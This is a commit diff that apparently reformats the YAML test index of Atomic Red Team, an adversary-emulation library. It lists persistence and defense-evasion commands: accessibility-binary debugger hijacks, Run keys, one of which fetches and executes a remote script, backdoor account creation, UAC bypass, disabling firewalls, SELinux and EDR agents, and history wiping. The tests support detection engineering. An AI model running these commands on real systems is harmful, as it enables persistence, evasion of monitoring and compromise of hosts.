Generate docs from job=validate_atomics_generate_docs branch=master

This commit is contained in:
CircleCI Atomic Red Team doc generator
2018-10-20 19:38:18 +00:00
parent ae418fec76
commit 8db4f8c2a3
+1608 -960
View File
@@ -49,8 +49,9 @@ persistence:
identifier: T1156
atomic_tests:
- name: ".bash_profile and .bashrc"
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
- linux
@@ -140,8 +141,9 @@ persistence:
identifier: T1015
atomic_tests:
- name: Attaches Command Prompt As Debugger To Process - osk
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -151,11 +153,15 @@ persistence:
default: osk.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - sethc
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -165,11 +171,15 @@ persistence:
default: sethc.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - utilman
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -179,11 +189,15 @@ persistence:
default: utilman.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - magnify
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -193,11 +207,15 @@ persistence:
default: magnify.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - narrator
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -207,11 +225,15 @@ persistence:
default: narrator.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - DisplaySwitch
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -221,11 +243,15 @@ persistence:
default: DisplaySwitch.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - AtBroker
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -235,8 +261,11 @@ persistence:
default: atbroker.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
'':
technique:
name: Winlogon Helper DLL
@@ -381,8 +410,10 @@ persistence:
identifier: T1103
atomic_tests:
- name: Install AppInit Shim
description: |
AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system
description: 'AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs
to be loaded into each user mode process on the system
'
supported_platforms:
- windows
input_arguments:
@@ -392,8 +423,9 @@ persistence:
default: T1103.reg
executor:
name: command_prompt
command: |
reg.exe import #{registry_file}
command: 'reg.exe import #{registry_file}
'
T1138:
technique:
name: Application Shimming
@@ -463,14 +495,16 @@ persistence:
identifier: T1138
atomic_tests:
- name: Application Shim Installation
description: |
This test injects a DLL into a custom application
description: 'This test injects a DLL into a custom application
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
sdbinst.exe AtomicShimx86.sdb
command: 'sdbinst.exe AtomicShimx86.sdb
'
T1197:
technique:
name: BITS Jobs
@@ -568,8 +602,10 @@ persistence:
- windows
executor:
name: command_prompt
command: |
bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md %TEMP%\bitsadmin_flag.ps1
command: 'bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
%TEMP%\bitsadmin_flag.ps1
'
- name: Download & Execute via PowerShell BITS
description: |
This test simulates an adversary leveraging bitsadmin.exe to download
@@ -578,8 +614,10 @@ persistence:
- windows
executor:
name: powershell
command: |
Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1
command: 'Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
-Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1
'
T1176:
technique:
name: Browser Extensions
@@ -668,8 +706,9 @@ persistence:
identifier: T1176
atomic_tests:
- name: Chrome (Developer Mode)
description: |
xxx
description: 'xxx
'
supported_platforms:
- linux
- windows
@@ -685,8 +724,9 @@ persistence:
3. Click 'Select'
- name: Chrome (Chrome Web Store)
description: |
xxx
description: 'xxx
'
supported_platforms:
- linux
- windows
@@ -699,8 +739,9 @@ persistence:
2. Click 'Add to Chrome'
- name: Firefox
description: |
Create a file called test.wma, with the duration of 30 seconds
description: 'Create a file called test.wma, with the duration of 30 seconds
'
supported_platforms:
- linux
- windows
@@ -780,8 +821,9 @@ persistence:
identifier: T1042
atomic_tests:
- name: Change Default File Association
description: |
Change Default File Association From cmd.exe
description: 'Change Default File Association From cmd.exe
'
supported_platforms:
- windows
input_arguments:
@@ -795,8 +837,9 @@ persistence:
default: C:\Program Files\Windows Media Player\wmplayer.exe
executor:
name: command_prompt
command: |
cmd.exe assoc #{extension_to_change}="#{target_exenstion_handler}"
command: 'cmd.exe assoc #{extension_to_change}="#{target_exenstion_handler}"
'
T1122:
technique:
name: Component Object Model Hijacking
@@ -857,8 +900,9 @@ persistence:
identifier: T1122
atomic_tests:
- name: Component Object Model Hijacking
description: |
Hijack COM Object used by certutil.exe
description: 'Hijack COM Object used by certutil.exe
'
supported_platforms:
- windows
executor:
@@ -914,8 +958,9 @@ persistence:
identifier: T1136
atomic_tests:
- name: Create a user account on a Linux system
description: |
Create a user via useradd
description: 'Create a user via useradd
'
supported_platforms:
- linux
input_arguments:
@@ -929,11 +974,13 @@ persistence:
default: Evil Account
executor:
name: bash
command: |
useradd -M -N -r -s /bin/bash -c "#{comment}" #{username}
command: 'useradd -M -N -r -s /bin/bash -c "#{comment}" #{username}
'
- name: Create a user account on a MacOS system
description: |
Creates a user on a MacOS system with dscl
description: 'Creates a user on a MacOS system with dscl
'
supported_platforms:
- macos
input_arguments:
@@ -955,8 +1002,9 @@ persistence:
dscl . -create /Users/#{username} PrimaryGroupID 80
dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}
- name: Create a new user in a command prompt
description: |
Creates a new user in a command prompt
description: 'Creates a new user in a command prompt
'
supported_platforms:
- windows
input_arguments:
@@ -966,11 +1014,13 @@ persistence:
default: Evil Account
executor:
name: command_prompt
command: |
net user /add #{username}
command: 'net user /add #{username}
'
- name: Create a new user in PowerShell
description: |
Creates a new user in PowerShell
description: 'Creates a new user in PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -1063,8 +1113,9 @@ persistence:
identifier: T1158
atomic_tests:
- name: Create a hidden file in a hidden directory
description: |
Creates a hidden file inside a hidden directory
description: 'Creates a hidden file inside a hidden directory
'
supported_platforms:
- linux
- macos
@@ -1074,17 +1125,21 @@ persistence:
mkdir .hidden-directory
echo "this file is hidden" > .hidden-directory/.hidden-file
- name: Mac Hidden file
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
executor:
name: sh
command: |
sudo xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00"
command: 'sudo xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00
00 00 40 00 FF FF FF FF 00 00"
'
- name: Hidden file
description: |
mv file to a .file
description: 'mv file to a .file
'
supported_platforms:
- macos
- linux
@@ -1099,38 +1154,46 @@ persistence:
default: "/tmp/evil"
executor:
name: sh
command: |
mv #{filename} .#{output_filename}
command: 'mv #{filename} .#{output_filename}
'
- name: Hidden files
description: |
Requieres Apple Dev Tools
description: 'Requieres Apple Dev Tools
'
supported_platforms:
- macos
executor:
name: sh
command: |
setfile -a V #{filename}
command: 'setfile -a V #{filename}
'
- name: Hide a Directory
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
executor:
name: sh
command: |
chflags hidden #{filename}
command: 'chflags hidden #{filename}
'
- name: Show all hidden files
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
executor:
name: sh
command: |
defaults write com.apple.finder AppleShowAllFiles YES
command: 'defaults write com.apple.finder AppleShowAllFiles YES
'
- name: Create visible Directories
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
- linux
@@ -1142,8 +1205,9 @@ persistence:
ls
ls visible-directory
- name: Create hidden directories and files
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
- linux
@@ -1155,8 +1219,10 @@ persistence:
ls -la
ls -la .hidden-directory
- name: Create ADS command prompt
description: |
Create an Alternate Data Stream with the command prompt. Write access is required.
description: 'Create an Alternate Data Stream with the command prompt. Write
access is required.
'
supported_platforms:
- windows
input_arguments:
@@ -1175,8 +1241,10 @@ persistence:
echo "test" > :#{ads_filename}
dir /s /r | find ":$DATA"
- name: Create ADS PowerShell
description: |
Create an Alternate Data Stream with PowerShell. Write access is required.
description: 'Create an Alternate Data Stream with PowerShell. Write access
is required.
'
supported_platforms:
- windows
input_arguments:
@@ -1314,8 +1382,9 @@ persistence:
identifier: T1179
atomic_tests:
- name: Hook PowerShell TLS Encrypt/Decrypt Messages
description: |
Hooks functions in PowerShell to read TLS Communications
description: 'Hooks functions in PowerShell to read TLS Communications
'
supported_platforms:
- windows
input_arguments:
@@ -1481,8 +1550,9 @@ persistence:
identifier: T1183
atomic_tests:
- name: IFEO Add Debugger
description: |
TODO
description: 'TODO
'
supported_platforms:
- windows
input_arguments:
@@ -1496,11 +1566,14 @@ persistence:
default: cmd.exe
executor:
name: command_prompt
command: |
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
'
- name: IFEO GLobal Flags
description: |
Leverage Global Flags Settings
description: 'Leverage Global Flags Settings
'
supported_platforms:
- windows
input_arguments:
@@ -1514,8 +1587,14 @@ persistence:
default: cmd.exe
executor:
name: command_prompt
command: |
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"
/v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess
/d "#{payload_binary}"
'
T1159:
technique:
name: Launch Agent
@@ -1598,8 +1677,9 @@ persistence:
identifier: T1159
atomic_tests:
- name: Launch Agent
description: |
Create a plist and execute it
description: 'Create a plist and execute it
'
supported_platforms:
- macos
executor:
@@ -1700,8 +1780,9 @@ persistence:
identifier: T1160
atomic_tests:
- name: Launch Daemon
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
executor:
@@ -1785,14 +1866,16 @@ persistence:
identifier: T1152
atomic_tests:
- name: Launchctl
description: |
Utilize launchctl
description: 'Utilize launchctl
'
supported_platforms:
- macos
executor:
name: sh
command: |
launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
'
T1168:
technique:
name: Local Job Scheduling
@@ -1880,8 +1963,9 @@ persistence:
identifier: T1168
atomic_tests:
- name: Cron Job
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
- centos
@@ -1894,11 +1978,13 @@ persistence:
default: "/tmp/evil.sh"
executor:
name: sh
command: |
echo "* * * * * #{script}" > /tmp/persistevil && crontab /tmp/persistevil
command: 'echo "* * * * * #{script}" > /tmp/persistevil && crontab /tmp/persistevil
'
- name: Cron Job
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
- centos
@@ -2000,8 +2086,9 @@ persistence:
identifier: T1037
atomic_tests:
- name: Logon Scripts
description: |
Added Via Reg.exe
description: 'Added Via Reg.exe
'
supported_platforms:
- windows
input_arguments:
@@ -2011,11 +2098,14 @@ persistence:
default: cmd.exe /c calc.exe
executor:
name: command_prompt
command: |
REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ /d "#{script_command}"
command: 'REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ
/d "#{script_command}"
'
- name: Logon Scripts - Mac
description: |
Mac logon script
description: 'Mac logon script
'
supported_platforms:
- macos
executor:
@@ -2175,8 +2265,10 @@ persistence:
identifier: T1128
atomic_tests:
- name: Netsh Helper DLL Registration
description: |
Netsh interacts with other operating system components using dynamic-link library (DLL) files
description: 'Netsh interacts with other operating system components using dynamic-link
library (DLL) files
'
supported_platforms:
- windows
input_arguments:
@@ -2186,8 +2278,9 @@ persistence:
default: C:\Path\file.dll
executor:
name: command_prompt
command: |
netsh.exe add helper #{helper_file}
command: 'netsh.exe add helper #{helper_file}
'
T1050:
technique:
name: New Service
@@ -2258,8 +2351,9 @@ persistence:
identifier: T1050
atomic_tests:
- name: Service Installation
description: |
Installs A Local Service
description: 'Installs A Local Service
'
supported_platforms:
- windows
input_arguments:
@@ -2279,8 +2373,9 @@ persistence:
sc.exe stop #{service_name}
sc.exe delete #{service_name}
- name: Service Installation PowerShell Installs A Local Service using PowerShell
description: |
Installs A Local Service via PowerShell
description: 'Installs A Local Service via PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -2500,8 +2595,9 @@ persistence:
identifier: T1150
atomic_tests:
- name: Plist Modification
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
executor:
@@ -2571,8 +2667,10 @@ persistence:
- macos
executor:
name: sh
command: |
echo osascript -e 'tell app "Finder" to display dialog "Hello World"' >> /etc/rc.common
command: 'echo osascript -e ''tell app "Finder" to display dialog "Hello World"''
>> /etc/rc.common
'
T1164:
technique:
name: Re-opened Applications
@@ -2695,8 +2793,9 @@ persistence:
identifier: T1060
atomic_tests:
- name: Reg Key Run
description: |
Run Key Persistence
description: 'Run Key Persistence
'
supported_platforms:
- windows
input_arguments:
@@ -2710,8 +2809,9 @@ persistence:
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"
REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f
- name: Reg Key RunOnce
description: |
RunOnce Key Persistence
description: 'RunOnce Key Persistence
'
supported_platforms:
- windows
input_arguments:
@@ -2725,8 +2825,9 @@ persistence:
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"
REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f
- name: PowerShell Registry RunOnce
description: |
RunOnce Key Persistence via PowerShell
description: 'RunOnce Key Persistence via PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -2741,8 +2842,9 @@ persistence:
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Discovery.bat`")"'
Remove-ItemProperty -Path $RunOnceKey -Name "NextRun" -Force
- name: Startup Folder
description: |
Add Shortcut To Startup via PowerShell
description: 'Add Shortcut To Startup via PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -2858,8 +2960,9 @@ persistence:
- windows
executor:
name: command_prompt
command: |
at 13:20 /interactive cmd
command: 'at 13:20 /interactive cmd
'
- name: Scheduled task Local
description: ''
supported_platforms:
@@ -2875,11 +2978,13 @@ persistence:
default: 72600
executor:
name: command_prompt
command: |
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
'
- name: Scheduled task Remote
description: |
Create a task on a remote system
description: 'Create a task on a remote system
'
supported_platforms:
- windows
input_arguments:
@@ -2905,8 +3010,10 @@ persistence:
default: At0micStrong
executor:
name: command_prompt
command: |
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
"Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
'
T1180:
technique:
name: Screensaver
@@ -2967,8 +3074,11 @@ persistence:
identifier: T1180
atomic_tests:
- name: Set Arbitrary Binary as Screensaver
description: |
This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.
description: 'This test copies a binary into the Windows System32 folder and
sets it as the screensaver so it will execute for persistence. Requires a
reboot and logon.
'
supported_platforms:
- windows
input_arguments:
@@ -3052,11 +3162,14 @@ persistence:
- macos
executor:
name: manual
steps: |
1. /Library/StartupItems/StartupParameters.plist
steps: '1. /Library/StartupItems/StartupParameters.plist
'
- name: Startup Items (emond rule)
description: |
Establish persistence via a rule run by emond daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
description: 'Establish persistence via a rule run by emond daemon at startup,
based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
'
supported_platforms:
- macos
input_arguments:
@@ -3485,8 +3598,10 @@ defense-evasion:
- windows
executor:
name: command_prompt
command: |
bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md %TEMP%\bitsadmin_flag.ps1
command: 'bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
%TEMP%\bitsadmin_flag.ps1
'
- name: Download & Execute via PowerShell BITS
description: |
This test simulates an adversary leveraging bitsadmin.exe to download
@@ -3495,8 +3610,10 @@ defense-evasion:
- windows
executor:
name: powershell
command: |
Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1
command: 'Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
-Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1
'
T1009:
technique:
name: Binary Padding
@@ -3535,8 +3652,10 @@ defense-evasion:
identifier: T1009
atomic_tests:
- name: Pad Evil Binary to Change Hash
description: |
Copies cat to create an "evil binary" and pads it with a zero to change the hash without harming execution
description: 'Copies cat to create an "evil binary" and pads it with a zero
to change the hash without harming execution
'
supported_platforms:
- macos
- linux
@@ -3657,8 +3776,10 @@ defense-evasion:
identifier: T1088
atomic_tests:
- name: Bypass UAC using Event Viewer
description: |
Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
description: 'Bypasses User Account Control using Event Viewer and a relevant
Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
'
supported_platforms:
- windows
input_arguments:
@@ -3746,8 +3867,10 @@ defense-evasion:
identifier: T1191
atomic_tests:
- name: CMSTP Executing Remote Scriptlet
description: |
Adversaries may supply CMSTP.exe with INF files infected with malicious commands
description: 'Adversaries may supply CMSTP.exe with INF files infected with
malicious commands
'
supported_platforms:
- windows
input_arguments:
@@ -3757,11 +3880,14 @@ defense-evasion:
default: T1191.inf
executor:
name: command_prompt
command: |
cmstp.exe /s #{inf_file_path}
command: 'cmstp.exe /s #{inf_file_path}
'
- name: CMSTP Executing UAC Bypass
description: |
Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file
description: 'Adversaries may invoke cmd.exe (or other malicious commands) by
embedding them in the RunPreSetupCommandsSection of an INF file
'
supported_platforms:
- windows
input_arguments:
@@ -3771,8 +3897,9 @@ defense-evasion:
default: T1191_uacbypass.inf
executor:
name: command_prompt
command: |
cmstp.exe /s #{inf_file_uac} /au
command: 'cmstp.exe /s #{inf_file_uac} /au
'
T1146:
technique:
name: Clear Command History
@@ -3816,57 +3943,69 @@ defense-evasion:
identifier: T1146
atomic_tests:
- name: Clear Bash history (rm)
description: |
Clears bash history via rm
description: 'Clears bash history via rm
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
rm ~/.bash_history
command: 'rm ~/.bash_history
'
- name: Clear Bash history (echo)
description: |
Clears bash history via rm
description: 'Clears bash history via rm
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
echo "" > ~/.bash_history
command: 'echo "" > ~/.bash_history
'
- name: Clear Bash history (cat dev/null)
description: |
Clears bash history via cat /dev/null
description: 'Clears bash history via cat /dev/null
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
cat /dev/null > ~/.bash_history
command: 'cat /dev/null > ~/.bash_history
'
- name: Clear Bash history (ln dev/null)
description: |
Clears bash history via a symlink to /dev/null
description: 'Clears bash history via a symlink to /dev/null
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
ln -sf /dev/null ~/.bash_history
command: 'ln -sf /dev/null ~/.bash_history
'
- name: Clear Bash history (truncate)
description: |
Clears bash history via truncate
description: 'Clears bash history via truncate
'
supported_platforms:
- linux
executor:
name: sh
command: |
truncate -s0 ~/.bash_history
command: 'truncate -s0 ~/.bash_history
'
- name: Clear history of a bunch of shells
description: |
Clears the history of a bunch of different shell types by setting the history size to zero
description: 'Clears the history of a bunch of different shell types by setting
the history size to zero
'
supported_platforms:
- linux
- macos
@@ -4001,8 +4140,9 @@ defense-evasion:
identifier: T1122
atomic_tests:
- name: Component Object Model Hijacking
description: |
Hijack COM Object used by certutil.exe
description: 'Hijack COM Object used by certutil.exe
'
supported_platforms:
- windows
executor:
@@ -4181,8 +4321,9 @@ defense-evasion:
identifier: T1140
atomic_tests:
- name: Deobfuscate/Decode Files Or Information
description: |
Encode/Decode executable
description: 'Encode/Decode executable
'
supported_platforms:
- windows
input_arguments:
@@ -4196,8 +4337,10 @@ defense-evasion:
certutil.exe -encode #{executable} file.txt
certutil.exe -decode file.txt #{executable}
- name: Certutil Rename and Decode
description: |
Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)
description: 'Rename certutil and decode a file. This is in reference to latest
research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)
'
supported_platforms:
- windows
input_arguments:
@@ -4257,8 +4400,9 @@ defense-evasion:
identifier: T1089
atomic_tests:
- name: Disable iptables firewall
description: |
Disables the iptables firewall
description: 'Disables the iptables firewall
'
supported_platforms:
- linux
executor:
@@ -4275,8 +4419,9 @@ defense-evasion:
systemctl disable firewalld
fi
- name: Disable syslog
description: |
Disables syslog collection
description: 'Disables syslog collection
'
supported_platforms:
- linux
executor:
@@ -4291,8 +4436,9 @@ defense-evasion:
systemctl disable rsyslog
fi
- name: Disable Cb Response
description: |
Disable the Cb Response service
description: 'Disable the Cb Response service
'
supported_platforms:
- linux
executor:
@@ -4307,41 +4453,49 @@ defense-evasion:
systemctl disable cbdaemon
fi
- name: Disable SELinux
description: |
Disables SELinux enforcement
description: 'Disables SELinux enforcement
'
supported_platforms:
- linux
executor:
name: sh
command: |
setenforce 0
command: 'setenforce 0
'
- name: Disable Carbon Black Response
description: |
Disables Carbon Black Response
description: 'Disables Carbon Black Response
'
supported_platforms:
- macos
executor:
name: sh
command: |
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
command: 'sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
'
- name: Disable LittleSnitch
description: |
Disables LittleSnitch
description: 'Disables LittleSnitch
'
supported_platforms:
- macos
executor:
name: sh
command: |
sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
command: 'sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
'
- name: Disable OpenDNS Umbrella
description: |
Disables OpenDNS Umbrella
description: 'Disables OpenDNS Umbrella
'
supported_platforms:
- macos
executor:
name: sh
command: |
sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
command: 'sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
'
- name: Unload Sysmon Filter Driver
description: "Unloads the Sysinternals Sysmon filter driver without stopping
the Sysmon service. \n"
@@ -4355,8 +4509,9 @@ defense-evasion:
default: SysmonDrv
executor:
name: command_prompt
command: |
fltmc.exe unload #{sysmon_driver}
command: 'fltmc.exe unload #{sysmon_driver}
'
T1107:
technique:
name: File Deletion
@@ -4411,8 +4566,10 @@ defense-evasion:
identifier: T1107
atomic_tests:
- name: Victim configuration
description: |
Create a temporary directory and several files on the victim system for later deletion
description: 'Create a temporary directory and several files on the victim system
for later deletion
'
supported_platforms:
- linux
executor:
@@ -4423,35 +4580,45 @@ defense-evasion:
touch a b c d e f g
echo "This file will be shredded" > /tmp/victim-shred.txt
- name: Delete a single file
description: |
Delete a single file from the temporary directory
description: 'Delete a single file from the temporary directory
'
supported_platforms:
- linux
executor:
name: sh
command: |
rm -f /tmp/victim-files/a
command: 'rm -f /tmp/victim-files/a
'
- name: Delete an entire folder
description: |
Recursively delete the temporary directory and all files contained within it
description: 'Recursively delete the temporary directory and all files contained
within it
'
supported_platforms:
- linux
executor:
name: sh
command: |
rm -rf /tmp/victim-files
command: 'rm -rf /tmp/victim-files
'
- name: Overwrite and delete a file with shred
description: |
Use the `shred` command to overwrite the temporary file and then delete it
description: 'Use the `shred` command to overwrite the temporary file and then
delete it
'
supported_platforms:
- linux
executor:
name: sh
command: |
shred -u /tmp/victim-shred.txt
command: 'shred -u /tmp/victim-shred.txt
'
- name: Victim configuration
description: |
Create a temporary directory and several files on the victim system for later deletion
description: 'Create a temporary directory and several files on the victim system
for later deletion
'
supported_platforms:
- windows
executor:
@@ -4476,62 +4643,77 @@ defense-evasion:
type nul > f
type nul > g
- name: Delete a single file - cmd
description: |
Delete a single file from the temporary directory using cmd.exe
description: 'Delete a single file from the temporary directory using cmd.exe
'
supported_platforms:
- windows
executor:
name: command_prompt
